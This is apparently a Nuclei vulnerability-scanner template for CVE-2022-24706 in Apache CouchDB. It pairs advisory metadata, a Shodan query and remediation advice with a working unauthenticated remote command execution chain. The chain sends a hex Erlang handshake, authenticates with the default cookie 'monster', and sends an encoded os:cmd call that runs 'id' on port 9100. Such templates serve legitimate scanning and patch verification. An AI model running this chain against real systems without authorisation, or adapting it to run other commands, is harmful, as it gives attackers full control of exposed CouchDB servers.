id: CVE-2022-24706

info:
  name: CouchDB Erlang Distribution - Remote Command Execution
  author: Mzack9999,pussycat0x
  severity: critical
  description: |
    In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without authenticating and gain admin privileges.
  reference:
    - https://www.exploit-db.com/exploits/50914
    - https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit/blob/main/CVE-2022-24706-Exploit.py
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24706
    - http://www.openwall.com/lists/oss-security/2022/04/26/1
    - http://www.openwall.com/lists/oss-security/2022/05/09/1
  remediation: |
    Upgrade to versions 3.2.2 or newer. Starting from CouchDB 3.2.2, the previous default Erlang cookie value "monster" will be rejected upon startup. Upgraded installations will be required to select an alternative value.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-24706
    cwe-id: CWE-1188
    cpe: cpe:2.3:a:apache:couchdb:*:*:*:*:*:*:*:*
    epss-score: 0.97407
  metadata:
    max-request: 1
    product: couchdb
    shodan-query: product:"CouchDB"
    vendor: apache
    verified: "true"
  tags: cve,cve2022,network,couch,rce,kev
variables:
  name_msg: "00156e00050007499c4141414141414041414141414141"
  challenge_reply: "00157201020304"
  cookie: "monster"
  cmd: "0000006670836804610667770e41414141414140414141414141410000000300000000007700770372657883680267770e41414141414140414141414141410000000300000000006805770463616c6c77026f737703636d646c000000016b000269646a770475736572"
tcp:
  - host:
      - "{{Hostname}}"
    port: 9100

    inputs:
      # auth
      - data: "{{name_msg}}"
        type: hex
        read: 1024
      - read: 1024
        name: challenge
      - data: "{{challenge_reply+md5(cookie + to_string(unpack('>I',substr(challenge, 9, 13))))}}"
        type: hex
      # rce
      - data: "{{cmd}}"
        type: hex
        read: 1024
    matchers:
      - type: word
        part: raw
        words:
          - "uid"
          - "gid"
          - "groups"
        condition: and
# digest: 4b0a0048304602210093ffb4f5bccf651fa25d037a91e1f0a081fce4f81404fa0d714c336a0cc640ea022100f06fe4191cb5cc0c7d8e71028302e622776af1f07dc61a6450aa8f711752049d:922c64590222798bb761d5b6d8e72950